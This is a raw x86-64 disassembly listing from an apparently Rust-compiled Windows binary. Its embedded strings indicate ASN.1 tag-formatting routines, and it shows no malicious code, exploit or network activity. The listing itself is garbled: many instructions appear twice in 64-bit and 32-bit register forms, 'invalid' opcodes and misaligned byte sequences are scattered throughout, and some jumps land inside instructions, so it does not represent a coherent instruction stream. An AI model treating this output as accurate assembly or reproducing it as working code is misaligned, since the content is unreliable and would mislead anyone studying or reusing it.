sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1400d9d7a]
adc eax, 0x926fa
cli
or dword es:[rax], eax
mov r8d, 0x19
add byte [rax], al
add rsp, 0x48
pop rbx
pop rsi
invalid
jmp rax
add rax, 8
add eax, 8
or byte [rax - 0x77], cl
and al, 0x40
and al, 0x40
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
and al, 0x40
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
lea rdx, [0x1400d9d93]
adc eax, 0x926ec
or dword es:[rax], eax
mov r8d, 0x13
mov eax, 0x13
add bh, bh
push rax
sbb byte [rax - 0x77], cl
invalid
invalid
je case.0x14004753d.296
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
sub byte [rax - 0x39cfdbbc], cl
mov byte [rsp + 0x30], al
and al, 0x30
mov byte [rsp + 0x31], 0
and al, 0x31
add byte [rax - 0x73], cl
xor dword [rax], eax
lea rax, [0x14004ca10]
add eax, 0x534b
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d9da6]
invalid
or dword es:[rax], eax
invalid
or dword es:[rax], eax
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
and al, 0x28
lea r9, [rsp + 0x40]
and al, 0x40
mov r8d, 8
mov r8d, 8
call fcn.14003fab0
cmp byte [rsp + 0x31], 0
add byte [rdi], cl
mov dh, 0x44
and al, 0x30
retf 0xff83
add byte [rdi], cl
mov dh, 0x44
and al, 0x30
je 0x140047794
sahf
add byte [rax], al
add byte [rax + rax*8 - 0x7af0fe50], al
test al, al
mov al, 1
jne 0x140047794
invalid
invalid
test al, al
mov al, 1
jne 0x140047794
mov rax, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
test byte [rax + 0x34], 4
jne case.0x14002753a.272
invalid
jno 0x140047754
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400db5bf]
lea edx, [0x1400db5bf]
adc eax, 0x93ea5
movsd dword [rdi], dword [rsi]
or dword ds:[rax], eax
mov r8d, 2
add bl, ch
outsd dx, dword [rsi]
jmp 0x140047791
mov ebx, ecx
test cl, cl
jmp 0x140047796
mov rsi, qword [rsp + 0x30]
cmp rax, 1
cmp eax, 1
xor byte [rax - 0x7d], cl
clc
cmp eax, 1
add dword [rbp + 0x2d], esi
jne 0x140047760
sub eax, 0x39247c80
add byte [rsi + riz - 0xa], dh
je 0x140047760
test byte [rsi + 0x34], 4
cmp byte [rsp + 0x39], 0
jl 0x14004775a
cmp dword [rax], eax
je 0x140047760
test byte [rsi + 0x34], 4
jne 0x140047760
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
invalid
invalid
sub byte [rax - 0x73], r9b
lea rdx, [0x1400df555]
adc eax, 0x97e06
jle 0x140047757
or dword [rax], eax
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
mov eax, 1
add byte [rax], al
add bh, bh
push rax
call qword [rax + 0x18]
sbb byte [rax + rax*8 - 0x1b67af1], al
test al, al
jne 0x1400475a9
invalid
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
lea edx, [0x1400e0b85]
adc eax, 0x99416
xchg esp, eax
or dword [rax], eax
mov r8d, 1
mov eax, 1
add bh, bh
push rax
sbb byte [rcx + 0x4818ebc3], cl
jmp 0x140047794
mov rcx, qword [rax + 0x20]
call qword [rax + 0x18]
mov ebx, eax
jmp 0x140047794
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e13db]
adc eax, 0x99c50
pushfq
or dword [rax], eax
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
mov eax, 1
add byte [rax], al
add bh, bh
push rax
sbb byte [rax + rax*8 + 0x48c0950f], al
invalid
invalid
call qword [rax + 0x18]
test al, al
setne al
ror byte [rax - 0x7d], 0xc4
add rsp, 0x48
add esp, 0x48
pop rbx
pop rbx
pop rsi
ret
sub rsp, 0xf8
mov rcx, qword [rcx]
mov ecx, dword [rcx]
in al, dx
clc
add byte [rax], al
add byte [rax - 0x75], cl
or dword [rax - 0x77], ecx
invalid
invalid
mov ecx, dword [rcx]
mov qword [rsp + 0x30], rcx
and al, 0x30
movzx eax, word [rcx]
mov bh, 1
add dword [rdi], ecx
mov dh, 0x49
add al, cl
invalid
movzx ecx, byte [rcx + 2]
add al, r9b
shl ecx, 0x10
loope case.0x14004753d.302
adc byte [rcx], cl
or ecx, eax
movzx r8d, cl
invalid
rol dword [rdi + rcx - 0x4a], 0xc1
movzx eax, cl
ror dword [rbp + rcx*4 + 0xd], 0xb2
test byte [rcx], 0
or dword [rax], eax
lea r9, [0x1400e6e78]
lea ecx, [0x1400e6e78]
mov dl, 0xf6
or dword [rax], eax
movsxd r8, dword [r9 + r8*4]
add al, 0x81
or dword [rbp + 1], 0xe0ff41c8
add r8, r9
jmp r8
jmp rax
enter 0xffffffffffffff41, 0xffffffffffffffe0
mov al, 1
jmp 0x14004783b
mov al, 2
jmp 0x14004783b
invalid
invalid
mov al, 3
jmp 0x14004783b
mov al, 4
jmp 0x14004783b
mov al, 5
jmp 0x14004783b
mov al, 6
jmp 0x14004783b
push rbx
push rbx
mov al, 9
jmp 0x14004783b
mov al, 0xa
jmp 0x14004783b
mov al, 0xc
jmp 0x14004783b
mov r8b, 0x30
mov al, 0x30
jmp 0x14004783b
mov al, 0x31
xor ebx, ebp
invalid
jmp 0x14004783b
mov al, 0x12
jmp 0x14004783b
cmp esi, dword [rax - 0x4fc814ed]
adc al, 0xeb
xor esi, dword [rax - 0x4fd014eb]
mov al, 0x15
jmp 0x14004783b
mov al, 0x16
mov al, 0x13
jmp 0x14004783b
mov al, 0x14
jmp 0x14004783b
mov al, 0x15
jmp 0x14004783b
mov al, 0x16
jmp 0x14004783b
mov al, 0x17
invalid
jmp 0x14004783b
mov al, 0x18
jmp 0x14004783b
mov al, 0x1a
jmp 0x14004783b
mov r8b, 0x40
jmp case.0x14006fee5.448
invalid
jmp case.0x14006fee5.448
or byte [rcx - 0x50], al
sub bl, 3
mov r8b, 0x80
jmp case.0x14006fee5.448
mov r8b, 0xc0
shr eax, 8
shr ecx, 0xb
and cl, 0x20
loope 0x140047852
or eax, dword [rax + 0x84420e1]
ror byte [rax], 0xc8
or al, cl
loope 0x140047852
and byte [rax + rcx - 0x40], al
or al, r8b
or al, cl
enter 0x2eb, 0xffffffffffffffb0
jmp 0x14004783b
mov al, 0x1e
invalid
mov byte [rsp + 0x2f], al
lea rax, [rsp + 0x2f]
lea eax, [rsp + 0x2f]
mov qword [rsp + 0x38], rax
cmp byte [rax - 0x73], cl
lea eax, [0x140042020]
invalid
lea eax, [0x140042020]
shl byte [rdi - 0x76b70001], 1
invalid
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
lea rax, [rsp + 0x30]
and al, 0x30
mov qword [rsp + 0x48], rax
and al, 0x48
lea rax, case.0x140041cc2.138
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
push rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0x98], 0
mov dword [rsp + 0x98], 0
and al, 0x98
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rbx*4], ah
and al, 0x98
and al, 0x98
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + riz*4], ah
and al, 0xa0
mov qword [rsp + 0xa0], 2
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0xa8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and al, 0xa0
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x48], cl
invalid
mov eax, 0x20
add byte [rax], cl
invalid
movabs rax, 0x800000020
add byte [rax], al
add byte [rax], cl
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add byte [rax], al
invalid
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0xb8], 3
test byte [rax + rdi*4], ah
mov eax, 0x3000000
add dh, al
test byte [rax + rdi*4], ah
mov eax, 0x3000000
mov eax, 0x3000000
mov qword [rsp + 0xc0], 2
mov dword [rsp + 0xc0], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rdx], al
mov qword [rsp + 0xd0], 2
mov dword [rsp + 0xd0], 2
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + riz*8], ah
and al, 0xe0
add byte [rax], al
mov qword [rsp + 0xe0], 1
mov dword [rsp + 0xe0], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
and al, 0xe8
mov qword [rsp + 0xe8], 0x20
and al, 0xe8
add byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
invalid
mov byte [rsp + 0xf0], 3
test byte [rax + rsi*8], ah
add byte [rax], al
invalid
lock add byte [rax], al
add byte [rbx], al
add ecx, dword [rax - 0x73]
add eax, 0x904ac
add al, 9
invalid
lea rax, str.Tag_0x
add al, 9
add byte [rax - 0x77], cl
mov dword [rsp + 0x58], eax
or dword [rax], eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 3
mov dword [rsp + 0x60], 3
add eax, dword [rax]
add byte [rax], al
lea rax, [rsp + 0x88]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 2
add al, byte [rax]
add byte [rax], al
invalid
js case.0x140046e3e.129
mov dword [rsp + 0x80], 2
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rsp + 0x38]
add al, byte [rax]
add byte [rax], al
invalid
lea rax, [rsp + 0x38]
lea eax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
mov dword [rsp + 0x70], 2
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x58]
lea eax, [rsp + 0x58]
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x58]
lea eax, [rsp + 0x58]
and al, 0x58
pop rax
call fcn.14003e1b0
nop
add rsp, 0xf8
clc
add byte [rax], al
add bl, al
invalid
call qword [rax - 0x73b7eb8]
clc
add byte [rax], al
add bl, al
int3
int3
sub rsp, 0x78
in al, dx
js 0x14004799d
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
movzx ecx, byte [rax]
mov dh, 8
lea r8, [0x1400e6ed4]
add eax, 0x9f573
add byte [rcx + 0x63], cl
or al, 0x88
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
lea rdx, str.BOOLEANINTEGERBIT_STRINGOCTET_STRINGNULLOBJECT_IDENTIFIERREALENUMERATEDUTF8StringSEQUENCESETNumericStringPrintableStringTeletexStringVideotexStringIA5StringUTCTimeGeneralizedTimeVisibleStringBMPStringAPPLICATION_____
adc eax, 0x90253
adc eax, 0x90253
add cl, byte [rcx]
add cl, ch
leave
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
jmp case.0x1400356f8.236
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400d7bd7]
lea rdx, [0x1400d7bd7]
add cl, byte [rcx]
add cl, ch
mov cl, 1
jmp case.0x1400356f8.236
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x90231
add cl, byte [rcx]
invalid
lea rdx, [0x1400d7bde]
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
mov r8d, 0xa
jmp 0x140047ccc
adc al, 3
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7be8]
mov r8d, 0xc
mov eax, 0xc
add byte [rcx - 0x48], al
or al, 0
mov eax, 0xc
add byte [rax], al
jmp 0x140047ccc
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x9020b
lea rdx, [0x1400d7bf4]
add byte [rcx - 0x48], al
mov r8d, 4
add al, 0
add byte [rax], al
jmp 0x140047ccc
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7bf8]
or dword [rax], eax
add byte [rcx - 0x48], al
adc dword [rax], eax
add byte [rax], al
mov r8d, 0x11
jmp 0x140047ccc
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
invalid
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x901e4
lea rdx, [0x1400d7c09]
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
invalid
mov r8d, 4
add byte [rax], al
add cl, ch
invalid
pushfq
add al, byte [rax]
invalid
jmp 0x140047ccc
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7c0d]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7c0d]
add dword [rcx], ecx
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
mov r8d, 0xa
jmp 0x140047ccc
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1400d7c17]
adc eax, 0x901b6
add byte [rcx - 0x48], al
or al, byte [rax]
mov r8d, 0xa
add byte [rax], al
jmp 0x140047ccc
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x901a2
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x901a2
add byte [rcx - 0x48], al
mov r8d, 8
or byte [rax], al
add byte [rax], al
jmp 0x140047ccc
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7c29]
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400d7c29]
lea edx, [0x1400d7c29]
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 3
add byte [rax], al
add cl, ch
and al, 2
invalid
jmp 0x140047ccc
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x90171
add dword [rcx], ecx
invalid
lea rdx, [0x1400d7c2c]
add dword [rcx], ecx
add byte [rcx - 0x48], al
or eax, 0xe9000000
invalid
invalid
mov r8d, 0xd
jmp 0x140047ccc
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x90160
lea rdx, [0x1400d7c39]
lea edx, [0x1400d7c39]
mov r8d, 0xf
jmp 0x140047ccc
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add cl, ch
call 0x188047ae6
add byte [rax], al
mov rcx, qword [rdx + 0x20]
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x90151
add dword [rcx], ecx
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7c48]
add dword [rcx], ecx
add byte [rcx - 0x48], al
mov r8d, 0xd
invalid
or dword [rax], eax
mov r8d, 0xd
add byte [rax], al
add cl, ch
invalid
jmp 0x140047ccc
retf 1
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7c55]
lea edx, [0x1400d7c55]
mov r8d, 0xe
add byte [rax], al
add cl, ch
jmp 0x140047ccc
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7c63]
xor byte [rcx], al
or dword [rax], eax
add byte [rax], al
jmp 0x140047ccc
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7c63]
xor byte [rcx], al
or dword [rax], eax
xor byte [rcx], al
or dword [rax], eax
jmp 0x140047cc6
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7c6c]
lea edx, [0x1400d7c6c]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1400d7c6c]
lea edx, [0x1400d7c6c]
mov r8d, 7
mov eax, 7
jmp 0x140047ccc
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7c73]
adc eax, 0x9010a
sbb byte [rax - 0x73], cl
adc eax, 0x9010a
or al, byte [rcx]
or dword [rax], eax
mov r8d, 0xf
jmp 0x140047ccc
pop rax
add dword [rax], eax
invalid
add cl, ch
pop rax
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x900fb
sti
add byte [rcx], cl
or dword [rax], eax
lea rdx, [0x1400d7c82]
lea edx, [0x1400d7c82]
sti
add byte [rcx], cl
or dword [rax], eax
invalid
invalid
mov r8d, 0xd
mov eax, 0xd
or eax, 0xe9000000
add cl, ch
jmp 0x140047ccc
cmp al, byte [rcx]
add byte [rax], al
invalid
movzx ecx, byte [rax + 2]
movzx eax, byte [rax + 1]
add dword [rax + 0x48272444], ecx
shl ecx, 4
mov dh, 0x48
add cl, byte [rdi]
add cl, byte [rdi]
mov dh, 0x40
add dword [rax + 0x48272444], ecx
add dword [rax + 0x48272444], ecx
shl ecx, 4
loope 0x140047ba6
lea rax, str.primitiveconstructed
add eax, 0x90147
add dword [r9], r9d
add byte [rax + 1], cl
add rax, rcx
lea rcx, [rsp + 0x27]
invalid
enter 0xffffffffffff8d48, 0x4c
and al, 0x27
invalid
invalid
mov qword [rsp + 0x28], rcx
and al, 0x28
and al, 0x28
lea rcx, case.0x14003e0a6.202
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x38], rax
cmp byte [rax - 0x73], cl
add eax, 0xffff65b2
invalid
invalid
invalid
lea rax, [0x14003e180]
lea eax, [0x14003e180]
invalid
dec dword [rax - 0x77]
and al, 0x40
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rax, [0x1400d7ca8]
jmp case.0x1400356f8.248
add byte [rcx], cl
add cl, ch
xchg edx, eax
add byte [rax], al
add byte [rdi], cl
movzx ecx, byte [rax + 2]
invalid
movzx ecx, byte [rax + 2]
movzx eax, byte [rax + 1]
mov byte [rsp + 0x27], al
and al, 0x27
mov dh, 0x40
add dword [rax + 0x48272444], ecx
mov byte [rsp + 0x27], al
and al, 0x27
shl rcx, 4
and al, 0x27
shl rcx, 4
lea rax, str.primitiveconstructed
add eax, 0x900fa
cli
add byte [rcx], cl
add byte [rax + 1], cl
add eax, ecx
lea rcx, [rsp + 0x27]
add rax, rcx
add eax, ecx
lea rcx, [rsp + 0x27]
and al, 0x27
invalid
mov qword [rsp + 0x28], rcx
and al, 0x28
lea rcx, case.0x14003e0a6.202
lea ecx, case.0x14003e0a6.202
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x38], rax
lea rax, [0x14003e180]
invalid
invalid
cmp byte [rax - 0x73], cl
add eax, 0xffff6565
invalid
invalid
invalid
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rax, str.CONTEXT_SPECIFIC__
lea eax, [0x1400d7d28]
add eax, 0x90101
or dword [rax], eax
jmp case.0x1400356f8.248
movzx ecx, byte [rax + 2]
add cl, byte [rdi]
mov dh, 0x40
add dword [rax + 0x48272444], ecx
mov byte [rsp + 0x27], al
invalid
movzx eax, byte [rax + 1]
add dword [rax + 0x48272444], ecx
mov byte [rsp + 0x27], al
shl rcx, 4
invalid
invalid
shl ecx, 4
add al, 0x48
lea eax, [0x1400d7cf0]
add eax, 0x900b0
lea rax, str.primitiveconstructed
add eax, 0x900b0
add byte [rcx], cl
add byte [rax + 1], cl
add eax, ecx
lea rcx, [rsp + 0x27]
add rax, rcx
add eax, ecx
lea rcx, [rsp + 0x27]
lea ecx, [rsp + 0x27]
mov qword [rsp + 0x28], rcx
and al, 0x28
sub byte [rax - 0x73], cl
or eax, 0x8c
mov word [rax], es
add byte [rax], al
invalid
lea rcx, case.0x14003e0a6.202
mov word [rax], es
add byte [rax], al
invalid
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
mov qword [rsp + 0x30], rcx
and al, 0x30
xor byte [rax - 0x77], cl
and al, 0x38
mov qword [rsp + 0x38], rax
lea rax, [0x14003e180]
lea eax, [0x14003e180]
invalid
dec dword [rax - 0x77]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
and al, 0x40
and al, 0x40
lea rax, str.X_r_
lea eax, str.X_r_
add byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 3
push rax
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x68], 0
and al, 0x68
and al, 0x68
push 0
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
mov qword [rsp + 0x60], 2
and al, 0x60
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
invalid
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x48]
invalid
call fcn.14003e1b0
call fcn.14003e1b0
invalid
call qword [rax + 0x78c48348]
nop
add rsp, 0x78
invalid
invalid
invalid
js 0x140047c76
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x8ffc9
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x8ffc9
invalid
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
mov r8d, 9
mov eax, 9
add rsp, 0x78
jmp rax
jmp rax
invalid
int3
int3
int3
sub rsp, 0x68
in al, dx
push 0x244c8948
mov qword [rsp + 0x28], rcx
lea rax, [0x14003f3f0]
mov qword [rsp + 0x28], rcx
and al, 0x28
lea rax, [0x14003f3f0]
ja 0x140047cee
invalid
dec dword [rax - 0x77]
and al, 0x30
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea eax, [0x1400e48c8]
retf
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
and al, 0x38
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
and al, 0x58
pop rax
add byte [rax], al
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x38
lea eax, [rsp + 0x38]
and al, 0x38
call fcn.14003e1b0
nop
add rsp, 0x68
ret
invalid
int3
mov eax, dword [rcx]
movzx eax, byte [rax]
lea rcx, [0x1400e2e38]
or eax, 0x9b0eb
mov al, 9
add byte [rbx + rcx*4 + 4], cl
mov r8, qword [rcx + rax*8]
lea rcx, [0x1400e2f80]
movsxd rax, dword [rcx + rax*4]
invalid
mov r8, qword [rcx + rax*8]
lea rcx, [0x1400e2f80]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
invalid
ret 0xff49
sub rsp, 0x48
mov rsi, rdx
mov esi, edx
mov qword [rsp + 0x40], rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x91fb7
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x91fb7
add byte [rcx - 0x48], al
invalid
mov r8d, 6
mov eax, 6
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
invalid
invalid
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x30], esi
je case.0x14005ef25.263
xor byte [rax + 0x48382444], cl
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x39], 0
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
fcom qword [rbx - 1]
dec dword [rax - 0x73]
lea rcx, [rsp + 0x28]
cmp dword [rax], eax
lea r8, [0x14003d1a0]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14003fc80
jle 0x140047dd1
invalid
dec dword [rax - 0x75]
and al, 0x28
and al, 0x28
mov rax, qword [rsp + 0x28]
and al, 0x28
movzx ecx, byte [rsp + 0x38]
test rax, rax
invalid
je case.0x140047968.26
cmp byte [rax - 0x7b], cl
sal byte [rsi + rdx*2 - 0x4d], 1
invalid
mov bl, 1
test cl, cl
jne 0x140047e3a
